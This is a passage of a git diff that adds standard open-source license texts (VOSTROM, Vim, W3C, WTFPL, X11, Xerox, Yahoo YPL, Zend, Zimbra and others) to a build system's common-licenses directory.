+1. Modified versions are distributed with source code and documentation and with permission for others to use any code and documentation (whether in original or modified versions) as granted under this license;
+
+2. if modified, the source code, documentation, and user run-time elements should be clearly labeled by placing an identifier of origin (such as a name, initial, or other tag) after the version number;
+
+3. users, modifiers, distributors, and others coming into possession or using the Distribution in original or modified form accept the entire risk as to the possession, use, and performance of the Distribution;
+
+4. this copyright management information (software identifier and version number, copyright notice and license) shall be retained in all versions of the Distribution;
+
+5. VOSTROM may make modifications to the Distribution that are substantially similar to modified versions of the Distribution, and may make, use, sell, copy, distribute, publicly display, and perform such modifications, including making such modifications available under this or other licenses, without obligation or restriction;
+
+6. modifications incorporating code, libraries, and/or documentation subject to any other open source license may be made, and the resulting work may be distributed under the terms of such open source license if required by that open source license, but doing so will not affect this Distribution, other modifications made under this license or modifications made under other VOSTROM licensing arrangements;
+
+7. no permission is granted to distribute, publicly display, or publicly perform modifications to the Distribution made using proprietary materials that cannot be released in source format under conditions of this license;
+
+8. the name of VOSTROM may not be used in advertising or publicity pertaining to Distribution of the software without specific, prior written permission.
+
+This software is made available "as is", and
+
+VOSTROM DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, WITH REGARD TO THIS SOFTWARE, INCLUDING WITHOUT LIMITATION ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, AND IN NO EVENT SHALL VOSTROM BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, TORT (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/meta/files/common-licenses/Vim b/meta/files/common-licenses/Vim
new file mode 100644
index 0000000000..84aaf416b6
--- /dev/null
+++ b/meta/files/common-licenses/Vim
@@ -0,0 +1,30 @@
+VIM LICENSE
+
+I) There are no restrictions on distributing unmodified copies of Vim except that they must include this license text. You can also distribute unmodified parts of Vim, likewise unrestricted except that they must include this license text. You are also allowed to include executables that you made from the unmodified Vim sources, plus your own usage examples and Vim scripts.
+
+II) It is allowed to distribute a modified (or extended) version of Vim, including executables and/or source code, when the following four conditions are met:
+
+ 1) This license text must be included unmodified.
+
+ 2) The modified Vim must be distributed in one of the following five ways:
+
+ a) If you make changes to Vim yourself, you must clearly describe in the distribution how to contact you. When the maintainer asks you (in any way) for a copy of the modified Vim you distributed, you must make your changes, including source code, available to the maintainer without fee. The maintainer reserves the right to include your changes in the official version of Vim. What the maintainer will do with your changes and under what license they will be distributed is negotiable. If there has been no negotiation then this license, or a later version, also applies to your changes. The current maintainer is Bram Moolenaar <Bram@vim.org>. If this changes it will be announced in appropriate places (most likely vim.sf.net, www.vim.org and/or comp.editors). When it is completely impossible to contact the maintainer, the obligation to send him your changes ceases. Once the maintainer has confirmed that he has received your changes they will not have to be sent again.
+
+ b) If you have received a modified Vim that was distributed as mentioned under a) you are allowed to further distribute it unmodified, as mentioned at I). If you make additional changes the text under a) applies to those changes.
+
+ c) Provide all the changes, including source code, with every copy of the modified Vim you distribute. This may be done in the form of a context diff. You can choose what license to use for new code you add. The changes and their license must not restrict others from making their own changes to the official version of Vim.
+
+ d) When you have a modified Vim which includes changes as mentioned under c), you can distribute it without the source code for the changes if the following three conditions are met:
+ - The license that applies to the changes permits you to distribute the changes to the Vim maintainer without fee or restriction, and permits the Vim maintainer to include the changes in the official version of Vim without fee or restriction.
+ - You keep the changes for at least three years after last distributing the corresponding modified Vim. When the maintainer or someone who you distributed the modified Vim to asks you (in any way) for the changes within this period, you must make them available to him.
+ - You clearly describe in the distribution how to contact you. This contact information must remain valid for at least three years after last distributing the corresponding modified Vim, or as long as possible.
+
+ e) When the GNU General Public License (GPL) applies to the changes, you can distribute the modified Vim under the GNU GPL version 2 or any later version.
+
+ 3) A message must be added, at least in the output of the ":version" command and in the intro screen, such that the user of the modified Vim is able to see that it was modified. When distributing as mentioned under 2)e) adding the message is only required for as far as this does not conflict with the license used for the changes.
+
+ 4) The contact information as required under 2)a) and 2)d) must not be removed or changed, except that the person himself can make corrections.
+
+III) If you distribute a modified version of Vim, you are encouraged to use the Vim license for your changes and make them available to the maintainer, including the source code. The preferred way to do this is by e-mail or by uploading the files to a server and e-mailing the URL. If the number of changes is small (e.g., a modified Makefile) e-mailing a context diff will do. The e-mail address to be used is <maintainer@vim.org>
+
+IV) It is not allowed to remove this license from the distribution of the Vim sources, parts of it or from a modified version. You may use this license for previous Vim releases instead of the license that they came with, at your option.
diff --git a/meta/files/common-licenses/W3C-19980720 b/meta/files/common-licenses/W3C-19980720
new file mode 100644
index 0000000000..a8554039ef
--- /dev/null
+++ b/meta/files/common-licenses/W3C-19980720
@@ -0,0 +1,23 @@
+W3C® SOFTWARE NOTICE AND LICENSE
+
+Copyright (c) 1994-2002 World Wide Web Consortium, (Massachusetts Institute of Technology, Institut National de Recherche en Informatique et en Automatique, Keio University). All Rights Reserved. http://www.w3.org/Consortium/Legal/
+
+This W3C work (including software, documents, or other related items) is being provided by the copyright holders under the following license. By obtaining, using and/or copying this work, you (the licensee) agree that you have read, understood, and will comply with the following terms and conditions:
+
+Permission to use, copy, modify, and distribute this software and its documentation, with or without modification,  for any purpose and without fee or royalty is hereby granted, provided that you include the following on ALL copies of the software and documentation or portions thereof, including modifications, that you make:
+
+ 1. The full text of this NOTICE in a location viewable to users of the redistributed or derivative work.
+
+ 2. Any pre-existing intellectual property disclaimers, notices, or terms and conditions. If none exist, a short notice of the following form (hypertext is preferred, text is permitted) should be used within the body of any redistributed or derivative code: "Copyright © [$date-of-software] World Wide Web Consortium, (Massachusetts Institute of Technology, Institut National de Recherche en Informatique et en Automatique, Keio University). All Rights Reserved. http://www.w3.org/Consortium/Legal/"
+
+ 3. Notice of any changes or modifications to the W3C files, including the date changes were made. (We recommend you provide URIs to the location from which the code is derived.)
+
+THIS SOFTWARE AND DOCUMENTATION IS PROVIDED "AS IS," AND COPYRIGHT HOLDERS MAKE NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE OR DOCUMENTATION WILL NOT INFRINGE ANY THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS.
+
+COPYRIGHT HOLDERS WILL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF ANY USE OF THE SOFTWARE OR DOCUMENTATION.
+
+The name and trademarks of copyright holders may NOT be used in advertising or publicity pertaining to the software without specific, written prior permission. Title to copyright in this software and any associated documentation will at all times remain with copyright holders.
+
+____________________________________
+
+This formulation of W3C's notice and license became active on August 14 1998 so as to improve compatibility with GPL. This version ensures that W3C software licensing terms are no more restrictive than GPL and consequently W3C software may be distributed in GPL packages. See the older formulation for the policy prior to this date. Please see our Copyright FAQ for common questions about using materials from our site, including specific terms and conditions for packages like libwww, Amaya, and Jigsaw. Other questions about this notice can be directed to site-policy@w3.org.
diff --git a/meta/files/common-licenses/W3C-20150513 b/meta/files/common-licenses/W3C-20150513
new file mode 100644
index 0000000000..abe1af9ae3
--- /dev/null
+++ b/meta/files/common-licenses/W3C-20150513
@@ -0,0 +1,17 @@
+This work is being provided by the copyright holders under the following license.
+
+License
+By obtaining and/or copying this work, you (the licensee) agree that you have read, understood, and will comply with the following terms and conditions.
+
+Permission to copy, modify, and distribute this work, with or without modification, for any purpose and without fee or royalty is hereby granted, provided that you include the following on ALL copies of the work or portions thereof, including modifications:
+
+ • The full text of this NOTICE in a location viewable to users of the redistributed or derivative work.
+ • Any pre-existing intellectual property disclaimers, notices, or terms and conditions. If none exist, the W3C Software and Document Short Notice should be included.
+ • Notice of any changes or modifications, through a copyright statement on the new code or document such as "This software or document includes material copied from or derived from [title and URI of the W3C document]. Copyright (c) [YEAR] W3C® (MIT, ERCIM, Keio, Beihang)."
+
+Disclaimers
+THIS WORK IS PROVIDED "AS IS," AND COPYRIGHT HOLDERS MAKE NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE OR DOCUMENT WILL NOT INFRINGE ANY THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS.
+
+COPYRIGHT HOLDERS WILL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF ANY USE OF THE SOFTWARE OR DOCUMENT.
+
+The name and trademarks of copyright holders may NOT be used in advertising or publicity pertaining to the work without specific, written prior permission. Title to copyright in this work will at all times remain with copyright holders.
diff --git a/meta/files/common-licenses/WTFPL b/meta/files/common-licenses/WTFPL
new file mode 100644
index 0000000000..7a3094a826
--- /dev/null
+++ b/meta/files/common-licenses/WTFPL
@@ -0,0 +1,11 @@
+DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
+Version 2, December 2004
+
+Copyright (C) 2004 Sam Hocevar <sam@hocevar.net>
+
+Everyone is permitted to copy and distribute verbatim or modified copies of this license document, and changing it is allowed as long as the name is changed.
+
+DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
+TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+ 0. You just DO WHAT THE FUCK YOU WANT TO.
diff --git a/meta/files/common-licenses/Wsuipa b/meta/files/common-licenses/Wsuipa
new file mode 100644
index 0000000000..8a37a28d61
--- /dev/null
+++ b/meta/files/common-licenses/Wsuipa
@@ -0,0 +1,5 @@
+This file was added by Clea F. Rees on 2008/11/30 with the permission of Dean Guenther and pointers to this file were added to all source files.
+
+Unlimited copying and redistribution of each of the files is permitted as long as the file is not modified. Modifications, and redistribution of modified versions, are also permitted, but only if the resulting file is renamed.
+
+The copyright holder is Washington State University. The original author of the fonts is Janene Winter. The primary contact (as of 2008) is Dean Guenther.
diff --git a/meta/files/common-licenses/X11 b/meta/files/common-licenses/X11
new file mode 100644
index 0000000000..6b41092f29
--- /dev/null
+++ b/meta/files/common-licenses/X11
@@ -0,0 +1,13 @@
+X11 License
+
+Copyright (C) 1996 X Consortium
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE X CONSORTIUM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+Except as contained in this notice, the name of the X Consortium shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization from the X Consortium.
+
+X Window System is a trademark of X Consortium, Inc.
diff --git a/meta/files/common-licenses/XSkat b/meta/files/common-licenses/XSkat
new file mode 100644
index 0000000000..0b77a07877
--- /dev/null
+++ b/meta/files/common-licenses/XSkat
@@ -0,0 +1,10 @@
+This program is free software; you can redistribute it freely.
+Use it at your own risk; there is NO WARRANTY.
+
+Redistribution of modified versions is permitted provided that the following conditions are met:
+
+1. All copyright & permission notices are preserved.
+
+2.a) Only changes required for packaging or porting are made.
+ or
+2.b) It is clearly stated who last changed the program. The program is renamed or the version number is of the form x.y.z, where x.y is the version of the original program and z is an arbitrary suffix.
diff --git a/meta/files/common-licenses/Xerox b/meta/files/common-licenses/Xerox
new file mode 100644
index 0000000000..0667d0d211
--- /dev/null
+++ b/meta/files/common-licenses/Xerox
@@ -0,0 +1,5 @@
+Copyright (c) 1995, 1996 Xerox Corporation. All Rights Reserved.
+
+Use and copying of this software and preparation of derivative works based upon this software are permitted. Any copy of this software or of any derivative work must include the above copyright notice of Xerox Corporation, this paragraph and the one after it. Any distribution of this software or derivative works must comply with all applicable United States export control laws.
+
+This software is made available AS IS, and XEROX CORPORATION DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, AND NOTWITHSTANDING ANY OTHER PROVISION CONTAINED HEREIN, ANY LIABILITY FOR DAMAGES RESULTING FROM THE SOFTWARE OR ITS USE IS EXPRESSLY DISCLAIMED, WHETHER ARISING IN CONTRACT, TORT (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, EVEN IF XEROX CORPORATION IS ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/YPL-1.0 b/meta/files/common-licenses/YPL-1.0
new file mode 100644
index 0000000000..cfbec9e2f3
--- /dev/null
+++ b/meta/files/common-licenses/YPL-1.0
@@ -0,0 +1,47 @@
+Yahoo! Public License, Version 1.0 (YPL)
+
+This Yahoo! Public License (this "Agreement") is a legal agreement that describes the terms under which Yahoo! Inc., a Delaware corporation having its principal place of business at 701 First Avenue, Sunnyvale, California 94089 ("Yahoo!") will provide software to you via download or otherwise ("Software"). By using the Software, you, an individual or an entity ("You") agree to the terms of this Agreement.
+
+In consideration of the mutual promises and upon the terms and conditions set forth below, the parties agree as follows:
+
+1. Grant of Copyright License
+
+ 1.1 - Subject to the terms and conditions of this Agreement, Yahoo! hereby grants to You, under any and all of its copyright interest in and to the Software, a royalty-free, non-exclusive, non-transferable license to copy, modify, compile, execute, and distribute the Software and Modifications. For the purposes of this Agreement, any change to, addition to, or abridgement of the Software made by You is a "Modification;" however, any file You add to the Software that does not contain any part of the Software is not a "Modification."
+
+ 1.2 - If You are an individual acting on behalf of a corporation or other entity, Your use of the Software or any Modification is subject to Your having the authority to bind such corporation or entity to this Agreement. Providing copies to persons within such corporation or entity is not considered distribution for purposes of this Agreement.
+
+ 1.3 - For the Software or any Modification You distribute in source code format, You must do so only under the terms of this Agreement, and You must include a complete copy of this Agreement with Your distribution. With respect to any Modification You distribute in source code format, the terms of this Agreement will apply to You in the same way those terms apply to Yahoo! with respect to the Software. In other words, when You are distributing Modifications under this Agreement, You "stand in the shoes" of Yahoo! in terms of the rights You grant and how the terms and conditions apply to You and the licensees of Your Modifications. Notwithstanding the foregoing, when You "stand in the shoes" of Yahoo!, You are not subject to the jurisdiction provision under Section 7, which requires all disputes under this Agreement to be subject to the jurisdiction of federal or state courts of northern California.
+
+ 1.4 - For the Software or any Modification You distribute in compiled or object code format, You must also provide recipients with access to the Software or Modification in source code format along with a complete copy of this Agreement. The distribution of the Software or Modifications in compiled or object code format may be under a license of Your choice, provided that You are in compliance with the terms of this Agreement. In addition, You must make absolutely clear that any license terms applying to such Software or Modification that differ from this Agreement are offered by You alone and not by Yahoo!, and that such license does not restrict recipients from exercising rights in the source code to the Software granted by Yahoo! under this Agreement or rights in the source code to any Modification granted by You as described in Section 1.3.
+
+ 1.5 - This Agreement does not limit Your right to distribute files that are entirely Your own work (i.e., which do not incorporate any portion of the Software and are not Modifications) under any terms You choose.
+
+2. Support
+Yahoo! has no obligation to provide technical support or updates to You. Nothing in this Agreement requires Yahoo! to enter into any license with You for any other edition of the Software.
+
+3. Intellectual Property Rights
+
+ 3.1 - Except for the license expressly granted under copyright in Section 1.1, no rights, licenses or forbearances are granted or may arise in relation to this Agreement whether expressly, by implication, exhaustion, estoppel or otherwise. All rights, including all intellectual property rights, that are not expressly granted under this Agreement are hereby reserved.
+
+ 3.2 - In any copy of the Software or in any Modification you create, You must retain and reproduce, any and all copyright, patent, trademark, and attribution notices that are included in the Software in the same form as they appear in the Software. This includes the preservation of attribution notices in the form of trademarks or logos that exist within a user interface of the Software.
+
+ 3.3 - This license does not grant You rights to use any party's name, logo, or trademarks, except solely as necessary to comply with Section 3.2.
+
+4. Disclaimer of Warranties
+THE SOFTWARE IS PROVIDED "AS IS" AND WITHOUT WARRANTY OF ANY KIND. YAHOO! MAKES NO WARRANTIES, WHETHER EXPRESS, IMPLIED, OR STATUTORY REGARDING OR RELATING TO THE SOFTWARE. SPECIFICALLY, YAHOO! DOES NOT WARRANT THAT THE SOFTWARE WILL BE ERROR FREE OR WILL PERFORM IN AN UNINTERRUPTED MANNER. TO THE GREATEST EXTENT ALLOWED BY LAW, YAHOO! SPECIFICALLY DISCLAIMS ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE (EVEN IF YAHOO! HAD BEEN INFORMED OF SUCH PURPOSE), AND NONINFRINGEMENT WITH RESPECT TO THE SOFTWARE, ANY MODIFICATIONS THERETO AND WITH RESPECT TO THE USE OF THE FOREGOING.
+
+5. Limitation of Liability
+IN NO EVENT WILL YAHOO! BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES OF ANY KIND (INCLUDING WITHOUT LIMITATION LOSS OF PROFITS, LOSS OF USE, BUSINESS INTERRUPTION, LOSS OF DATA, COST OF COVER) IN CONNECTION WITH OR ARISING OUT OF OR RELATING TO THE FURNISHING, PERFORMANCE OR USE OF THE SOFTWARE OR ANY OTHER RIGHTS GRANTED HEREUNDER, WHETHER ALLEGED AS A BREACH OF CONTRACT OR TORTIOUS CONDUCT, INCLUDING NEGLIGENCE, AND EVEN IF YAHOO! HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+6. Term and Termination
+
+ 6.1 - This Agreement will continue in effect unless and until terminated earlier pursuant to this Section 6.
+
+ 6.2 - In the event Yahoo! determines that You have breached this Agreement, Yahoo! may terminate this Agreement.
+
+ 6.3 - All licenses granted hereunder shall terminate upon the termination of this Agreement. Termination will be in addition to any rights and remedies available to Yahoo! at law or equity or under this Agreement.
+
+ 6.4 - Termination of this Agreement will not affect the provisions regarding reservation of rights (Section 3.1), provisions disclaiming or limiting Yahoo!'s liability (Sections 4 and 5), Termination (Section 6) or Miscellaneous (Section 7), which provisions will survive termination of this Agreement.
+
+7. Miscellaneous
+This Agreement contains the entire agreement of the parties with respect to the subject matter of this Agreement and supersedes all previous communications, representations, understandings and agreements, either oral or written, between the parties with respect to said subject matter. The relationship of the parties hereunder is that of independent contractors, and this Agreement will not be construed as creating an agency, partnership, joint venture or any other form of legal association between the parties. If any term, condition, or provision in this Agreement is found to be invalid, unlawful or unenforceable to any extent, this Agreement will be construed in a manner that most closely effectuates the intent of this Agreement. Such invalid term, condition or provision will be severed from the remaining terms, conditions and provisions, which will continue to be valid and enforceable to the fullest extent permitted by law. This Agreement will be interpreted and construed in accordance with the laws of the State of California and the United States of America, without regard to conflict of law principles. The U.N. Convention on Contracts for the International Sale of Goods shall not apply to this Agreement. All disputes arising out of this Agreement involving Yahoo! or any of its subsidiaries shall be subject to the jurisdiction of the federal or state courts of northern California, with venue lying in Santa Clara County, California. No rights may be assigned, no obligations may be delegated, and this Agreement may not be transferred by You, in whole or in part, whether voluntary or by operation of law, including by way of sale of assets, merger or consolidation, without the prior written consent of Yahoo!, and any purported assignment, delegation or transfer without such consent shall be void ab initio. Any waiver of the provisions of this Agreement or of a party's rights or remedies under this Agreement must be in writing to be effective. Failure, neglect or delay by a party to enforce the provisions of this Agreement or its rights or remedies at any time, will not be construed or be deemed to be a waiver of such party's rights under this Agreement and will not in any way affect the validity of the whole or any part of this Agreement or prejudice such party's right to take subsequent action.
diff --git a/meta/files/common-licenses/Zed b/meta/files/common-licenses/Zed
new file mode 100644
index 0000000000..5f7cd2cc05
--- /dev/null
+++ b/meta/files/common-licenses/Zed
@@ -0,0 +1,3 @@
+(c) Jim Davies, January 1995
+You may copy and distribute this file freely. Any queries and complaints should be forwarded to Jim.Davies@comlab.ox.ac.uk.
+If you make any changes to this file, please do not distribute the results under the name `zed-csp.sty'.
diff --git a/meta/files/common-licenses/Zend-2.0 b/meta/files/common-licenses/Zend-2.0
new file mode 100644
index 0000000000..c9b5144e1e
--- /dev/null
+++ b/meta/files/common-licenses/Zend-2.0
@@ -0,0 +1,18 @@
+The Zend Engine License, version 2.00
+Copyright (c) 1999-2002 Zend Technologies Ltd. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, is permitted provided that the following conditions are met:
+
+ 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ 3. The names "Zend" and "Zend Engine" must not be used to endorse or promote products derived from this software without prior permission from Zend Technologies Ltd. For written permission, please contact license@zend.com.
+
+ 4. Zend Technologies Ltd. may publish revised and/or new versions of the license from time to time. Each version will be given a distinguishing version number. Once covered code has been published under a particular version of the license, you may always continue to use it under the terms of that version. You may also choose to use such covered code under the terms of any subsequent version of the license published by Zend Technologies Ltd. No one other than Zend Technologies Ltd. has the right to modify the terms applicable to covered code created under this License.
+
+ 5. Redistributions of any form whatsoever must retain the following acknowledgment: "This product includes the Zend Engine, freely available at http://www.zend.com"
+
+ 6. All advertising materials mentioning features or use of this software must display the following acknowledgment: "The Zend Engine is freely available at http://www.zend.com"
+
+THIS SOFTWARE IS PROVIDED BY ZEND TECHNOLOGIES LTD. ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL ZEND TECHNOLOGIES LTD. BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/Zimbra-1.4 b/meta/files/common-licenses/Zimbra-1.4
new file mode 100644
index 0000000000..868e4d878b
--- /dev/null
+++ b/meta/files/common-licenses/Zimbra-1.4
@@ -0,0 +1,47 @@
+Zimbra Public License, Version 1.4 (ZPL)
+
+This Zimbra Public License (this “Agreement”) is a legal agreement that describes the terms under which Zimbra, Inc., a Texas corporation (“Zimbra”) will provide software to you via download or otherwise (“Software”). By using the Software, you, an individual or an entity (“You”) agree to the terms of this Agreement.
+
+In consideration of the mutual promises and upon the terms and conditions set forth below, the parties agree as follows:
+
+1. Grant of Copyright License
+
+ 1.1 - Subject to the terms and conditions of this Agreement, Zimbra hereby grants to You, under any and all of its copyright interest in and to the Software, a royalty-free, non-exclusive, non-transferable license to copy, modify, compile, execute, and distribute the Software and Modifications. For the purposes of this Agreement, any change to, addition to, or abridgement of the Software made by You is a “Modification;” however, any file You add to the Software that does not contain any part of the Software is not a “Modification.”
+
+ 1.2 - If You are an individual acting on behalf of a corporation or other entity, Your use of the Software or any Modification is subject to Your having the authority to bind such corporation or entity to this Agreement. Providing copies to persons within such corporation or entity is not considered distribution for purposes of this Agreement.
+
+ 1.3 - For the Software or any Modification You distribute in source code format, You must do so only under the terms of this Agreement, and You must include a complete copy of this Agreement with Your distribution. With respect to any Modification You distribute in source code format, the terms of this Agreement will apply to You in the same way those terms apply to Zimbra with respect to the Software. In other words, when You are distributing Modifications under this Agreement, You “stand in the shoes” of Zimbra in terms of the rights You grant and how the terms and conditions apply to You and the licensees of Your Modifications. Notwithstanding the foregoing, when You “stand in the shoes” of Zimbra, You are not subject to the jurisdiction provision under Section 7, which requires all disputes under this Agreement to be subject to the jurisdiction of federal or state courts of Northern Texas.
+
+ 1.4 - For the Software or any Modification You distribute in compiled or object code format, You must also provide recipients with access to the Software or Modification in source code format along with a complete copy of this Agreement. The distribution of the Software or Modifications in compiled or object code format may be under a license of Your choice, provided that You are in compliance with the terms of this Agreement. In addition, You must make absolutely clear that any license terms applying to such Software or Modification that differ from this Agreement are offered by You alone and not by Zimbra, and that such license does not restrict recipients from exercising rights in the source code to the Software granted by Zimbra under this Agreement or rights in the source code to any Modification granted by You as described in Section 1.3.
+
+ 1.5 - This Agreement does not limit Your right to distribute files that are entirely Your own work (i.e., which do not incorporate any portion of the Software and are not Modifications) under any terms You choose.
+
+2. Support
+Zimbra has no obligation to provide technical support or updates to You. Nothing in this Agreement requires Zimbra to enter into any license with You for any other edition of the Software.
+
+3. Intellectual Property Rights
+
+ 3.1 - Except for the license expressly granted under copyright in Section 1.1, no rights, licenses or forbearances are granted or may arise in relation to this Agreement whether expressly, by implication, exhaustion, estoppel or otherwise. All rights, including all intellectual property rights, that are not expressly granted under this Agreement are hereby reserved.
+
+ 3.2 - In any copy of the Software or in any Modification you create, You must retain and reproduce any and all copyright, patent, trademark, and attribution notices that are included in the Software in the same form as they appear in the Software. This includes the preservation of attribution notices in the form of trademarks or logos that exist within a user interface of the Software.
+
+ 3.3 - This license does not grant You rights to use any party’s name, logo, or trademarks, except solely as necessary to comply with Section 3.2.
+
+4. Disclaimer of Warranties
+THE SOFTWARE IS PROVIDED “AS IS” AND WITHOUT WARRANTY OF ANY KIND. ZIMBRA MAKES NO WARRANTIES, WHETHER EXPRESS, IMPLIED, OR STATUTORY, REGARDING OR RELATING TO THE SOFTWARE. SPECIFICALLY, ZIMBRA DOES NOT WARRANT THAT THE SOFTWARE WILL BE ERROR FREE OR WILL PERFORM IN AN UNINTERRUPTED MANNER. TO THE GREATEST EXTENT ALLOWED BY LAW, ZIMBRA SPECIFICALLY DISCLAIMS ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE (EVEN IF ZIMBRA HAD BEEN INFORMED OF SUCH PURPOSE), AND NONINFRINGEMENT WITH RESPECT TO THE SOFTWARE, ANY MODIFICATIONS THERETO, AND WITH RESPECT TO THE USE OF THE FOREGOING.
+
+5. Limitation of Liability
+IN NO EVENT WILL ZIMBRA BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES OF ANY KIND (INCLUDING WITHOUT LIMITATION LOSS OF PROFITS, LOSS OF USE, BUSINESS INTERRUPTION, LOSS OF DATA, AND COST OF COVER) IN CONNECTION WITH OR ARISING OUT OF OR RELATING TO THE FURNISHING, PERFORMANCE, OR USE OF THE SOFTWARE OR ANY OTHER RIGHTS GRANTED HEREUNDER, WHETHER ALLEGED AS A BREACH OF CONTRACT OR TORTIOUS CONDUCT, INCLUDING NEGLIGENCE, AND EVEN IF ZIMBRA HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+6. Term and Termination
+
+ 6.1 - This Agreement will continue in effect unless and until terminated earlier pursuant to this Section 6.
+
+ 6.2 - In the event You violate the terms of this Agreement, Zimbra may terminate this Agreement.
+
+ 6.3 - All licenses granted hereunder shall terminate upon the termination of this Agreement. Termination will be in addition to any rights and remedies available to Zimbra at law or equity or under this Agreement.
+
+ 6.4 - Termination of this Agreement will not affect the provisions regarding reservation of rights (Section 3.1), provisions disclaiming or limiting Zimbra’s liability (Sections 4 and 5), Termination (Section 6), or Miscellaneous (Section 7), which provisions will survive termination of this Agreement.
+
+7. Miscellaneous
+This Agreement contains the entire agreement of the parties with respect to the subject matter of this Agreement and supersedes all previous communications, representations, understandings, and agreements, either oral or written, between the parties with respect to said subject matter. The relationship of the parties hereunder is that of independent contractors, and this Agreement will not be construed as creating an agency, partnership, joint venture, or any other form of legal association between the parties. If any term, condition, or provision in this Agreement is found to be invalid, unlawful, or unenforceable to any extent, this Agreement will be construed in a manner that most closely effectuates the intent of this Agreement. Such invalid term, condition or provision will be severed from the remaining terms, conditions, and provisions, which will continue to be valid and enforceable to the fullest extent permitted by law. This Agreement will be interpreted and construed in accordance with the laws of the State of Delaware and the United States of America, without regard to conflict of law principles. The U.N. Convention on Contracts for the International Sale of Goods shall not apply to this Agreement. All disputes arising out of this Agreement involving Zimbra or any of its parents or subsidiaries shall be subject to the jurisdiction of the federal or state courts of Northern Texas, with venue lying in Dallas County, Texas. No rights may be assigned, no obligations may be delegated, and this Agreement may not be transferred by You, in whole or in part, whether voluntary or by operation of law, including by way of sale of assets, merger, or consolidation, without the prior written consent of Zimbra, and any purported assignment, delegation, or transfer without such consent shall be void ab initio. Any waiver of the provisions of this Agreement or of a party’s rights or remedies under this Agreement must be in writing to be effective. Failure, neglect, or delay by a party to enforce the provisions of this Agreement or its rights or remedies at any time will not be construed or be deemed to be a waiver of such party’s rights under this Agreement and will not in any way affect the validity of the whole or any part of this Agreement or prejudice such party’s right to take subsequent action.
diff --git a/meta/files/common-licenses/blessing b/meta/files/common-licenses/blessing
new file mode 100644
index 0000000000..7a1b711a6b
--- /dev/null
+++ b/meta/files/common-licenses/blessing
